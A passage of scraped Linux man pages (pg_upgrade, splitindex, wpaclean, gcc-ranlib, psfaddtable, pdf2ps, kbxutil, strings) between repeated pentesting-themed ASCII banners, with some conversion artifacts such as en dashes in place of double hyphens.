pg_upgrade does its best to make sure the old and new clusters are binary-compatible, e.g., by checking for compatible compile-time settings, including 32/64-bit binaries. It is important that any external modules are also binary compatible, though this cannot be checked by pg_upgrade.

pg_upgrade supports upgrades from 9.2.X and later to the current major release of PostgreSQL, including snapshot and beta releases.

OPTIONS

pg_upgrade accepts the following command-line arguments:

-b bindir
**–old-bindir=**bindir

the old PostgreSQL executable directory; environment variable PGBINOLD

-B bindir
**–new-bindir=**bindir

the new PostgreSQL executable directory; default is the directory where pg_upgrade resides; environment variable PGBINNEW

-c
–check

check clusters only, dont change any data

-d configdir
**–old-datadir=**configdir

the old database cluster configuration directory; environment variable PGDATAOLD

-D configdir
**–new-datadir=**configdir

the new database cluster configuration directory; environment variable PGDATANEW

-j njobs
**–jobs=**njobs

number of simultaneous processes or threads to use

-k
–link

use hard links instead of copying files to the new cluster

-N
–no-sync

By default, pg_upgrade will wait for all files of the upgraded cluster to be written safely to disk. This option causes pg_upgrade to return without waiting, which is faster, but means that a subsequent operating system crash can leave the data directory corrupt. Generally, this option is useful for testing but should not be used on a production installation.

-o options
–old-options options

options to be passed directly to the old postgres command; multiple option invocations are appended

-O options
–new-options options

options to be passed directly to the new postgres command; multiple option invocations are appended

-p port
**–old-port=**port

the old cluster port number; environment variable PGPORTOLD

-P port
**–new-port=**port

the new cluster port number; environment variable PGPORTNEW

-r
–retain

retain SQL and log files even after successful completion

-s dir
**–socketdir=**dir

directory to use for postmaster sockets during upgrade; default is current working directory; environment variable PGSOCKETDIR

-U username
**–username=**username

clusters install user name; environment variable PGUSER

-v
–verbose

enable verbose internal logging

-V
–version

display version information, then exit

–clone

Use efficient file cloning (also known as “reflinks” on some systems) instead of copying files to the new cluster. This can result in near-instantaneous copying of the data files, giving the speed advantages of -k/–link while leaving the old cluster untouched.

File cloning is only supported on some operating systems and file systems. If it is selected but not supported, the pg_upgrade run will error. At present, it is supported on Linux (kernel 4.5 or later) with Btrfs and XFS (on file systems created with reflink support), and on macOS with APFS.

–copy

Copy files to the new cluster. This is the default. (See also –link and –clone.)

-?
–help

show help, then exit

USAGE

These are the steps to perform an upgrade with pg_upgrade:

1.

Optionally move the old cluster: If you are using a version-specific installation directory, e.g., /opt/PostgreSQL/16, you do not need to move the old cluster. The graphical installers all use version-specific installation directories.

If your installation directory is not version-specific, e.g., /usr/local/pgsql, it is necessary to move the current PostgreSQL install directory so it does not interfere with the new PostgreSQL installation. Once the current PostgreSQL server is shut down, it is safe to rename the PostgreSQL installation directory; assuming the old directory is /usr/local/pgsql, you can do:

mv /usr/local/pgsql /usr/local/pgsql.old

to rename the directory.

2.

For source installs, build the new version: Build the new PostgreSQL source with configure flags that are compatible with the old cluster. pg_upgrade will check pg_controldata to make sure all settings are compatible before starting the upgrade.

3.

Install the new PostgreSQL binaries: Install the new servers binaries and support files. pg_upgrade is included in a default installation.

For source installs, if you wish to install the new server in a custom location, use the prefix variable:

make prefix=/usr/local/pgsql.new install

4.

Initialize the new PostgreSQL cluster: Initialize the new cluster using initdb. Again, use compatible initdb flags that match the old cluster. Many prebuilt installers do this step automatically. There is no need to start the new cluster.

5.

Install extension shared object files: Many extensions and custom modules, whether from contrib or another source, use shared object files (or DLLs), e.g., pgcrypto.so. If the old cluster used these, shared object files matching the new server binary must be installed in the new cluster, usually via operating system commands. Do not load the schema definitions, e.g., CREATE EXTENSION pgcrypto, because these will be duplicated from the old cluster. If extension updates are available, pg_upgrade will report this and create a script that can be run later to update them.

6.

Copy custom full-text search files: Copy any custom full text search files (dictionary, synonym, thesaurus, stop words) from the old to the new cluster.

7.

Adjust authentication: pg_upgrade will connect to the old and new servers several times, so you might want to set authentication to peer in pg_hba.conf or use a ~/.pgpass file (see Section 34.16).

8.

Stop both servers: Make sure both database servers are stopped using, on Unix, e.g.:

pg_ctl -D /opt/PostgreSQL/12 stop pg_ctl -D /opt/PostgreSQL/16 stop

or on Windows, using the proper service names:

NET STOP postgresql-12 NET STOP postgresql-16

Streaming replication and log-shipping standby servers must be running during this shutdown so they receive all changes.

9.

Prepare for standby server upgrades: If you are upgrading standby servers using methods outlined in section Step 11, verify that the old standby servers are caught up by running pg_controldata against the old primary and standby clusters. Verify that the “Latest checkpoint location” values match in all clusters. Also, make sure wal_level is not set to minimal in the postgresql.conf file on the new primary cluster.

10.

Run pg_upgrade: Always run the pg_upgrade binary of the new server, not the old one. pg_upgrade requires the specification of the old and new clusters data and executable (bin) directories. You can also specify user and port values, and whether you want the data files linked or cloned instead of the default copy behavior.

If you use link mode, the upgrade will be much faster (no file copying) and use less disk space, but you will not be able to access your old cluster once you start the new cluster after the upgrade. Link mode also requires that the old and new cluster data directories be in the same file system. (Tablespaces and pg_wal can be on different file systems.) Clone mode provides the same speed and disk space advantages but does not cause the old cluster to be unusable once the new cluster is started. Clone mode also requires that the old and new data directories be in the same file system. This mode is only available on certain operating systems and file systems.

The –jobs option allows multiple CPU cores to be used for copying/linking of files and to dump and restore database schemas in parallel; a good place to start is the maximum of the number of CPU cores and tablespaces. This option can dramatically reduce the time to upgrade a multi-database server running on a multiprocessor machine.

For Windows users, you must be logged into an administrative account, and then start a shell as the postgres user and set the proper path:

RUNAS /USER:postgres “CMD.EXE” SET PATH=%PATH%;C:\Program Files\PostgreSQL\16in;

and then run pg_upgrade with quoted directories, e.g.:

pg_upgrade.exe –old-datadir “C:/Program Files/PostgreSQL/12/data” –new-datadir “C:/Program Files/PostgreSQL/16/data” –old-bindir “C:/Program Files/PostgreSQL/12/bin” –new-bindir “C:/Program Files/PostgreSQL/16/bin”

Once started, pg_upgrade will verify the two clusters are compatible and then do the upgrade. You can use pg_upgrade –check to perform only the checks, even if the old server is still running. pg_upgrade –check will also outline any manual adjustments you will need to make after the upgrade. If you are going to be using link or clone mode, you should use the option –link or –clone with –check to enable mode-specific checks. pg_upgrade requires write permission in the current directory.

Obviously, no one should be accessing the clusters during the upgrade. pg_upgrade defaults to running servers on port 50432 to avoid unintended client connections. You can use the same port number for both clusters when doing an upgrade because the old and new clusters will not be running at the same time. However, when checking an old running server, the old and new port numbers must be different.

If an error occurs while restoring the database schema, pg_upgrade will exit and you will have to revert to the old cluster as outlined in Step 17 below. To try pg_upgrade again, you will need to modify the old cluster so the pg_upgrade schema restore succeeds. If the problem is a contrib module, you might need to uninstall the contrib module from the old cluster and install it in the new cluster after the upgrade, assuming the module is not being used to store user data.

11.

Upgrade streaming replication and log-shipping standby servers: If you used link mode and have Streaming Replication (see Section 27.2.5) or Log-Shipping (see Section 27.2) standby servers, you can follow these steps to quickly upgrade them. You will not be running pg_upgrade on the standby servers, but rather rsync on the primary. Do not start any servers yet.

If you did not use link mode, do not have or do not want to use rsync, or want an easier solution, skip the instructions in this section and simply recreate the standby servers once pg_upgrade completes and the new primary is running.

1.

Install the new PostgreSQL binaries on standby servers: Make sure the new binaries and support files are installed on all standby servers.

2.

Make sure the new standby data directories do not exist: Make sure the new standby data directories do not exist or are empty. If initdb was run, delete the standby servers new data directories.

3.

Install extension shared object files: Install the same extension shared object files on the new standbys that you installed in the new primary cluster.

4.

Stop standby servers: If the standby servers are still running, stop them now using the above instructions.

5.

Save configuration files: Save any configuration files from the old standbys configuration directories you need to keep, e.g., postgresql.conf (and any files included by it), postgresql.auto.conf, pg_hba.conf, because these will be overwritten or removed in the next step.

6.

Run rsync: When using link mode, standby servers can be quickly upgraded using rsync. To accomplish this, from a directory on the primary server that is above the old and new database cluster directories, run this on the primary for each standby server:

rsync –archive –delete –hard-links –size-only –no-inc-recursive old_cluster new_cluster remote_dir

where old_cluster and new_cluster are relative to the current directory on the primary, and remote_dir is above the old and new cluster directories on the standby. The directory structure under the specified directories on the primary and standbys must match. Consult the rsync manual page for details on specifying the remote directory, e.g.,

rsync –archive –delete –hard-links –size-only –no-inc-recursive /opt/PostgreSQL/12
/opt/PostgreSQL/16 standby.example.com:/opt/PostgreSQL

You can verify what the command will do using rsyncs –dry-run option. While rsync must be run on the primary for at least one standby, it is possible to run rsync on an upgraded standby to upgrade other standbys, as long as the upgraded standby has not been started.

What this does is to record the links created by pg_upgrades link mode that connect files in the old and new clusters on the primary server. It then finds matching files in the standbys old cluster and creates links for them in the standbys new cluster. Files that were not linked on the primary are copied from the primary to the standby. (They are usually small.) This provides rapid standby upgrades. Unfortunately, rsync needlessly copies files associated with temporary and unlogged tables because these files dont normally exist on standby servers.

If you have tablespaces, you will need to run a similar rsync command for each tablespace directory, e.g.:

rsync –archive –delete –hard-links –size-only –no-inc-recursive /vol1/pg_tblsp/PG_12_201909212
/vol1/pg_tblsp/PG_16_202307071 standby.example.com:/vol1/pg_tblsp

If you have relocated pg_wal outside the data directories, rsync must be run on those directories too.

7.

Configure streaming replication and log-shipping standby servers: Configure the servers for log shipping. (You do not need to run pg_backup_start() and pg_backup_stop() or take a file system backup as the standbys are still synchronized with the primary.) Replication slots are not copied and must be recreated.

12.

Restore pg_hba.conf: If you modified pg_hba.conf, restore its original settings. It might also be necessary to adjust other configuration files in the new cluster to match the old cluster, e.g., postgresql.conf (and any files included by it), postgresql.auto.conf.

13.

Start the new server: The new server can now be safely started, and then any rsynced standby servers.

14.

Post-upgrade processing: If any post-upgrade processing is required, pg_upgrade will issue warnings as it completes. It will also generate script files that must be run by the administrator. The script files will connect to each database that needs post-upgrade processing. Each script should be run using:

psql –username=postgres –file=script.sql postgres

The scripts can be run in any order and can be deleted once they have been run.

Caution

In general it is unsafe to access tables referenced in rebuild scripts until the rebuild scripts have run to completion; doing so could yield incorrect results or poor performance. Tables not referenced in rebuild scripts can be accessed immediately.

15.

Statistics: Because optimizer statistics are not transferred by pg_upgrade, you will be instructed to run a command to regenerate that information at the end of the upgrade. You might need to set connection parameters to match your new cluster.

16.

Delete old cluster: Once you are satisfied with the upgrade, you can delete the old clusters data directories by running the script mentioned when pg_upgrade completes. (Automatic deletion is not possible if you have user-defined tablespaces inside the old data directory.) You can also delete the old installation directories (e.g., bin, share).

17.

Reverting to old cluster: If, after running pg_upgrade, you wish to revert to the old cluster, there are several options:

·

If the –check option was used, the old cluster was unmodified; it can be restarted.

·

If the –link option was not used, the old cluster was unmodified; it can be restarted.

·

If the –link option was used, the data files might be shared between the old and new cluster:

·

If pg_upgrade aborted before linking started, the old cluster was unmodified; it can be restarted.

·

If you did not start the new cluster, the old cluster was unmodified except that, when linking started, a .old suffix was appended to $PGDATA/global/pg_control. To reuse the old cluster, remove the .old suffix from $PGDATA/global/pg_control; you can then restart the old cluster.

·

If you did start the new cluster, it has written to shared files and it is unsafe to use the old cluster. The old cluster will need to be restored from backup in this case.

NOTES

pg_upgrade creates various working files, such as schema dumps, stored within pg_upgrade_output.d in the directory of the new cluster. Each run creates a new subdirectory named with a timestamp formatted as per ISO 8601 (%Y%m%dT%H%M%S), where all its generated files are stored. pg_upgrade_output.d and its contained files will be removed automatically if pg_upgrade completes successfully; but in the event of trouble, the files there may provide useful debugging information.

pg_upgrade launches short-lived postmasters in the old and new data directories. Temporary Unix socket files for communication with these postmasters are, by default, made in the current working directory. In some situations the path name for the current directory might be too long to be a valid socket name. In that case you can use the -s option to put the socket files in some directory with a shorter path name. For security, be sure that that directory is not readable or writable by any other users. (This is not supported on Windows.)

All failure, rebuild, and reindex cases will be reported by pg_upgrade if they affect your installation; post-upgrade scripts to rebuild tables and indexes will be generated automatically. If you are trying to automate the upgrade of many clusters, you should find that clusters with identical database schemas require the same post-upgrade steps for all cluster upgrades; this is because the post-upgrade steps are based on the database schemas, and not user data.

For deployment testing, create a schema-only copy of the old cluster, insert dummy data, and upgrade that.

pg_upgrade does not support upgrading of databases containing table columns using these reg* OID-referencing system data types:

regcollation

regconfig

regdictionary

regnamespace

regoper

regoperator

regproc

regprocedure

(regclass, regrole, and regtype can be upgraded.)

If you want to use link mode and you do not want your old cluster to be modified when the new cluster is started, consider using the clone mode. If that is not available, make a copy of the old cluster and upgrade that in link mode. To make a valid copy of the old cluster, use rsync to create a dirty copy of the old cluster while the server is running, then shut down the old server and run rsync –checksum again to update the copy with any changes to make it consistent. (–checksum is necessary because rsync only has file modification-time granularity of one second.) You might want to exclude some files, e.g., postmaster.pid, as documented in Section 26.3.3. If your file system supports file system snapshots or copy-on-write file copies, you can use that to make a backup of the old cluster and tablespaces, though the snapshot and copies must be created simultaneously or while the database server is down.

SEE ALSO

initdb(1), pg_ctl(1), pg_dump(1), postgres(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

507 - Linux cli command splitindex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command splitindex and provides detailed information about the command splitindex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the splitindex.

NAME 🖥️ splitindex 🖥️

manual page for splitindex 0.2a

SYNOPSIS

splitindex.pl [OPTION] … INTERMEDIATE-INDEX-FILE [MAKEINDEX-OPTION] …

splitindex [OPTION] … INTERMEDIATE-INDEX-FILE [MAKEINDEX-OPTION] …

java splitindex [OPTION] … INTERMEDIATE-INDEX-FILE [MAKEINDEX-OPTION] …

tex splitindex

DESCRIPTION

splitindex 0.2a Copyright (c) 2002 Markus Kohm <[email protected]>

Split a single intermediate index file into multiple raw index files.

Example: splitindex.pl foo.idx.

OPTIONS

-h, –help
show this help and terminate

-m, –makeindex PROGNAME
call PROGNAME instead of default `makeindex'.

-i, –identify EXPRESSION
use regular EXPRESSION to match entries (see also option –resultis and –suffixis). Default is `^(\indexentry)([^]]*)(.*)$'.

-r, –resultis PATTERN
create line to be written from PATTERN after matching lines (see also option –identify). Default is `$1$3'.

-s, –suffixis PATTERN
create suffix to be used from PATTERN after matching lines (see also option –identify). Default is `-$2'.

-v, –verbose
be more verbose (can be used multiple to increase verbosity)

–version
show version and terminate

COPYRIGHT

Copyright © 2002 Markus Kohm <[email protected]>

SEE ALSO

The full documentation for splitindex is maintained as a LaTeX manual. If the texdoc and splitindex programs are properly installed at your site, the command

texdoc splitidx

should give you access to the complete manual.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

508 - Linux cli command wpaclean

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wpaclean and provides detailed information about the command wpaclean, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wpaclean.

NAME 🖥️ wpaclean 🖥️

clean wpa capture files

SYNOPSIS

wpaclean <out.cap> <in.cap> [in2.cap] […]

DESCRIPTION

wpaclean Cleans capture files to get only the 4-way handshake and a beacon.

AUTHOR

This manual page was written by David Francos Cuartero <[email protected]>. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL.

SEE ALSO

airbase-ng(8)
aireplay-ng(8)
airmon-ng(8)
airodump-ng(8)
airodump-ng-oui-update(8)
airserv-ng(8)
airtun-ng(8)
besside-ng(8)
easside-ng(8)
tkiptun-ng(8)
wesside-ng(8)
aircrack-ng(1)
airdecap-ng(1)
airdecloak-ng(1)
airolib-ng(1)
besside-ng-crawler(1)
buddy-ng(1)
ivstools(1)
kstats(1)
makeivs-ng(1)
packetforge-ng(1)
airventriloquist(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

509 - Linux cli command x86_64-linux-gnu-gcc-ranlib-13

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-gcc-ranlib-13 and provides detailed information about the command x86_64-linux-gnu-gcc-ranlib-13, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-gcc-ranlib-13.

NAME 🖥️ x86_64-linux-gnu-gcc-ranlib-13 🖥️

ranlib - a wrapper around ranlib adding the –plugin option

SYNOPSIS

gcc-ranlib [OPTION] … [ARGS…]

DESCRIPTION

gcc-ranlib is a wrapper around ranlib(1) adding the appropriate –plugin option for the GCC 13 compiler.

OPTIONS

See ranlib(1) for a list of options that ranlib understands.

SEE ALSO

ranlib(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

510 - Linux cli command psfaddtable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command psfaddtable and provides detailed information about the command psfaddtable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the psfaddtable.

NAME 🖥️ psfaddtable 🖥️

add a Unicode character table to a console font

SYNOPSIS

psfaddtable fontfile tablefile outfile

DESCRIPTION

psfaddtable takes a console font in .psf format given by fontfile and merges it with the Unicode character table given by tablefile to produce a font file with an embedded character table, which is written to outfile. An input file name of “-” denotes standard input, and an output file name of “-” denotes standard output. If the fontfile already contains an embedded character table, it is ignored.

TABLE FILE FORMAT

Each line in the tablefile should be either blank, contain a comment (preceded by #), or contain a sequence of numbers in either decimal (default), octal (preceded by 0), or hexadecimal (preceded by 0x) format, separated by spaces or tabs. The first number on each line indicates the glyph slot in the font that is being referred to, this is between 0 and 0xff for a 256-character font and 0 and 0x1ff for a 512-character font. Any subsequent numbers on the same line are Unicodes matched by this specific glyph slot. Instead of a single Unicode one may have a sequence of Unicodes separates by commas, to denote that the glyph depicts the corresponding composed symbol. It is permissible to have multiple lines for the same glyph.

SEE ALSO

setfont(8), psfgettable(1), psfstriptable(1), psfxtable(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

511 - Linux cli command pdf2ps

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdf2ps and provides detailed information about the command pdf2ps, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdf2ps.

NAME 🖥️ pdf2ps 🖥️

Ghostscript PDF to PostScript translator

SYNOPSIS

pdf2ps [ options ] input.pdf [output.ps]

DESCRIPTION

pdf2ps uses gs(1) to convert the Adobe Portable Document Format (PDF) file “input.pdf” to PostScript(tm) in “output.ps”. Normally the output is allowed to use PostScript Level 2 (but not PostScript LanguageLevel 3) constructs; the -dLanguageLevel=1 option restricts the output to Level 1, while -dLanguageLevel=3 allows using LanguageLevel 3 in the output.

FILES

Run “gs -h” to find the location of Ghostscript documentation on your system, from which you can get more details.

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

512 - Linux cli command kbxutil

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kbxutil and provides detailed information about the command kbxutil, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kbxutil.

NAME 🖥️ kbxutil 🖥️

List, export, import Keybox data

SYNOPSIS

kbxutil [OPTIONS] [FILES]

DESCRIPTION

List, export, import Keybox data

COMMANDS

–stats
show key statistics

–import-openpgp
import OpenPGP keyblocks

–find-dups
find duplicates

–cut
export records

OPTIONS

–from* N*
first record to export

–to* N*
last record to export

-v, –verbose
verbose

-q, –quiet
be somewhat more quiet

-n, –dry-run
do not make any changes

–debug
set debugging flags

–debug-all
enable full debugging

BUGS

Please report bugs to <https://dev.gnupg.org>.

COPYRIGHT

Copyright © 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

This manpage was written by Daniel Kahn Gillmor for the Debian distribution (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

513 - Linux cli command x86_64-w64-mingw32ucrt-strings

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-strings and provides detailed information about the command x86_64-w64-mingw32ucrt-strings, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-strings.

NAME 🖥️ x86_64-w64-mingw32ucrt-strings 🖥️

print the sequences of printable characters in files

SYNOPSIS

strings [-afovV] [-min-len] [-n min-len] [–bytes=min-len] [-t radix] [–radix=radix] [-e encoding] [–encoding=encoding] [-U method] [–unicode=method] [-] [–all] [–print-file-name] [-T bfdname] [–target=bfdname] [-w] [–include-all-whitespace] [-s] [–output-separator sep_string] [–help] [–version] file

DESCRIPTION

For each file given, GNU strings prints the printable character sequences that are at least 4 characters long (or the number given with the options below) and are followed by an unprintable character.

Depending upon how the strings program was configured it will default to either displaying all the printable sequences that it can find in each file, or only those sequences that are in loadable, initialized data sections. If the file type is unrecognizable, or if strings is reading from stdin then it will always display all of the printable sequences that it can find.

For backwards compatibility any file that occurs after a command-line option of just - will also be scanned in full, regardless of the presence of any -d option.

strings is mainly useful for determining the contents of non-text files.

OPTIONS

-a

–all

Scan the whole file, regardless of what sections it contains or whether those sections are loaded or initialized. Normally this is the default behaviour, but strings can be configured so that the -d is the default instead. The - option is position dependent and forces strings to perform full scans of any file that is mentioned after the - on the command line, even if the -d option has been specified.

-d

–data

Only print strings from initialized, loaded data sections in the file. This may reduce the amount of garbage in the output, but it also exposes the strings program to any security flaws that may be present in the BFD library used to scan and load sections. Strings can be configured so that this option is the default behaviour. In such cases the -a option can be used to avoid using the BFD library and instead just print all of the strings found in the file.

-f

–print-file-name

Print the name of the file before each string.

–help
Print a summary of the program usage on the standard output and exit.

-min-len

-n min-len

–bytes=min-len

Print sequences of displayable characters that are at least min-len characters long. If not specified a default minimum length of 4 is used. The distinction between displayable and non-displayable characters depends upon the setting of the -e and -U options. Sequences are always terminated at control characters such as new-line and carriage-return, but not the tab character.

-o
Like -t o. Some other versions of strings have -o act like -t d instead. Since we can not be compatible with both ways, we simply chose one.

-t radix

–radix=radix

Print the offset within the file before each string. The single character argument specifies the radix of the offset—o for octal, x for hexadecimal, or d for decimal.

-e encoding

–encoding=encoding

Select the character encoding of the strings that are to be found. Possible values for encoding are: s = single-7-bit-byte characters (default), S = single-8-bit-byte characters, b = 16-bit bigendian, l = 16-bit littleendian, B = 32-bit bigendian, L = 32-bit littleendian. Useful for finding wide character strings. (l and b apply to, for example, Unicode UTF-16/UCS-2 encodings).

-U [d|i|l|e|x|h]

–unicode=[default|invalid|locale|escape|hex|highlight]

